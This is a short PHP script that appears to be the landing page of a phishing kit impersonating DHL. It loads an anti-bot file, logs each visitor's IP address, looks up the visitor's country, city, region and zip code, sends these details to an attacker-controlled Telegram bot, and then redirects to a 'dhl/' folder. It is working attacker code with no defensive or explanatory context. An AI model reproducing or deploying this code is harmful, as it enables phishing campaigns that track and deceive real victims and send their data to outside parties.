include "antibots.php"; include "id.php"; $ip = getenv("REMOTE_ADDR"); $file = fopen("VISIT.txt","a"); fwrite($file,$ip." - ".gmdate ("Y-n-d")." @ ".gmdate ("H:i:s")."\n"); $IP_LOOKUP = @json_decode(file_get_contents("http://ip-api.com/json/".$ip)); $COUNTRY = $IP_LOOKUP->country . "\r\n"; $CITY = $IP_LOOKUP->city . "\r\n"; $REGION = $IP_LOOKUP->region . "\r\n"; $STATE = $IP_LOOKUP->regionName . "\r\n"; $ZIPCODE = $IP_LOOKUP->zip . "\r\n"; $msg=$ip."\nCountry : ".$COUNTRY."City: " .$CITY."Region : " .$REGION."State: " .$STATE."Zip : " .$ZIPCODE; file_get_contents("https://api.telegram.org/bot".$api."/sendMessage?chat_id=".$chatid."&text=" . urlencode($msg)."" ); header("Location: dhl/"); ?>